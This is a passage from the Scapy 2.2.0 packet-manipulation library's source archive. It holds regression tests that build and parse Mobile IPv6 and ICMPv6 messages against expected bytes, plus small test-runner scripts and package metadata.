MIP6OptCGAParams a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0c\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0c\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCGAParams()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0c\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0c\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0c\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0c\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0c\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0c\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCGAParams()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptSignature = Mobility Options - Automatic Padding - MIP6OptSignature a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\r\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\r\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptSignature()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\r\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\r\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\r\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\r\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\r\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\r\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptSignature()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\r\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken = Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0e\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0e\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptHomeKeygenToken()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0e\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0e\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0e\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0e\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0e\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0e\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptHomeKeygenToken()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0e\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCareOfTestInit = Mobility Options - Automatic Padding - MIP6OptCareOfTestInit a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0f\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0f\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCareOfTestInit()])) ==';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0f\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0f\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0f\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0f\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0f\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCareOfTestInit()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0f\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCareOfTest = Mobility Options - Automatic Padding - MIP6OptCareOfTest a = str(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = str(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*0),MIP6OptCareOfTest()])) ==';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00' d = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*1),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*2),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*3),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*4),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*5),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = str(MIP6MH_BU(seq=0x4242, options=[PadN(optdata='\x00'*6),MIP6OptCareOfTest()])) ==';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j + Binding Refresh Request Message = MIP6MH_BRR - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR()) == '`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00' = MIP6MH_BRR - Build with specific values str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == '`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_BRR - Basic dissection a=IPv6('`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == [] = MIP6MH_BRR - Dissection with specific values a=IPv6('`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA) = MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers() hoa="2001:db8:9999::1" coa="2001:db8:7777::1" cn="2001:db8:8888::1" ha="2001db8:6666::1" a=IPv6(str(IPv6(src=cn, dst=hoa)/MIP6MH_BRR())) b=IPv6(str(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01))) b2=IPv6(str(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01))) c=IPv6(str(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA())) b.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2) + Home Test Init Message = MIP6MH_HoTI - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI()) == '`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x01\x00g\xf5\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoTI - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x01\x00g\xf5\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 0 and b.res == 0 and b.cksum == 0x67f5 and b.cookie == '\x00'*8 = MIP6MH_HoTI - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie="\xAA"*8)) == '`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x01w\x88\x99\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_HoTI - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x01w\x88\x99\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 0 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == '\xAA'*8 + Care-of Test Init Message = MIP6MH_CoTI - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI()) == '`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x02\x00f\xf5\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoTI - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x02\x00f\xf5\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 0 and b.res == 0 and b.cksum == 0x66f5 and b.cookie == '\x00'*8 = MIP6MH_CoTI - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie="\xAA"*8)) == '`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x02w\x88\x99\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_CoTI - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x0e\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x02w\x88\x99\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 0 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == '\xAA'*8 + Home Test Message = MIP6MH_HoT - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT()) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoT - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == '\x00'*8 and b.token == '\x00'*8 = MIP6MH_HoT - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie="\xAA"*8, index=0xAABB, token='\xCC'*8)) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_HoT - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == '\xAA'*8 and b.token == '\xCC'*8 + Care-of Test Message = MIP6MH_CoT - Build (default values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT()) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoT - Dissection (default values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == '\x00'*8 and b.token == '\x00'*8 = MIP6MH_CoT - Build (specific values) str(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie="\xAA"*8, index=0xAABB, token='\xCC'*8)) == '`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_CoT - Dissection (specific values) a=IPv6('`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == '\xAA'*8 and b.token == '\xCC'*8 + Binding Update Message = MIP6MH_BU - build (default values) s= '`\x00\x00\x00\x00(<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x01\x05\x00\xee`\x00\x00\xd0\x00\x00\x03\x01\x02\x00\x00' str(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s = MIP6MH_BU - dissection (default values) p = IPv6(s) p[MIP6MH_BU].len == 1 = MIP6MH_BU - build s = '`\x00\x00\x00\x00P<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe;\x06\x05\x00\xea\xf2\x00\x00\xd0\x00\x00*\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' str(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s = MIP6MH_BU - dissection p = IPv6(s) p[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42 + Binding ACK Message = MIP6MH_BA - build s = '`\x00\x00\x00\x00\x10\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x01\x06\x00\xbc\xb9\x00\x80\x00\x00\x00*\x01\x02\x00\x00' str(IPv6()/MIP6MH_BA(mhtime=42)) == s = MIP6MH_BA - dissection p = IPv6(s) p[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42 + Binding ERR Message = MIP6MH_BE - build s = '`\x00\x00\x00\x00\x18\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x02\x07\x00\xbbY\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' str(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s = MIP6MH_BE - dissection p = IPv6(s) p[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1 scapy-2.2.0/test/import_tester0000644000175000017500000000026211275000360014534 0ustar pbipbi#! /bin/bash cd "$(dirname $0)/.." find scapy -name '*.py' | sed -e 's#/#.#g' -e 's/\(\.__init__\)\?\.py$//' | while read a; do echo "######### $a"; python -c "import $a"; done scapy-2.2.0/test/reg.xml0000644000175000017500000035332111477704133013234 0ustar pbipbi >> str(ICMPv6NDOptRedirectedHdr()) == '\x04\x00\x00\x00' False ]]> >> str(ICMPv6NDOptRedirectedHdr(len=0xff, res=0x1111, pkt="somestringthatisnotanipv6packet")) == '\x04\xff\x11\x11somestringthatisnotanipv6pac' False ]]> >> str(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == '\x04\x05\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' False ]]> >> a=ICMPv6NDOptRedirectedHdr('\x04\x00\x00\x00') >>> a.type == 4 and a.len == 0 and a.res == 0 and a.pkt == "" False ]]> >> a=ICMPv6NDOptRedirectedHdr('\x04\xff\x11\x11somestringthatisnotanipv6pac') >>> a.type == 4 and a.len == 255 and a.res == 0x1111 and isinstance(a.pkt, Raw) and a.pkt.load == "somestringthatisnotanipv6pac" False ]]> >> a=ICMPv6NDOptRedirectedHdr('\x04\x05\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') >>> a.type == 4 and a.len == 5 and a.res == 0 and isinstance(a.pkt, Raw) and a.pkt.load == '`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' False ]]> scapy-2.2.0/test/run_tests0000755000175000017500000000041411170743163013675 0ustar pbipbi#! /bin/sh DIR=$(dirname $0)/.. if [ "$*" == "" ] then PYTHONPATH=$DIR exec python ${DIR}/scapy/tools/UTscapy.py -t regression.uts -f html -o /tmp/scapy_regression_test_$(date +%Y%M%d-%H%H%S).html else PYTHONPATH=$DIR exec python ${DIR}/scapy/tools/UTscapy.py "$@" fi scapy-2.2.0/test/run_tests.bat0000644000175000017500000000037611256430132014440 0ustar pbipbi@echo off set MYDIR=%cd%\.. set PYTHONPATH=%MYDIR% if [%1]==[] ( python %MYDIR%\scapy\tools\UTscapy.py -t regression.uts -f html -o scapy_regression_test_%DATE%.html ) else ( python %MYDIR%\scapy\tools\UTscapy.py %1 %2 %3 %4 %5 %6 %7 %8 %9 ) scapy-2.2.0/PKG-INFO0000644000175000017500000000040511532602317012034 0ustar pbipbiMetadata-Version: 1.0 Name: scapy Version: 2.2.0 Summary: Scapy: interactive packet manipulation tool Home-page: http://www.secdev.org/projects/scapy Author: Philippe BIONDI Author-email: phil(at)secdev.org License: GPLv2 Description: 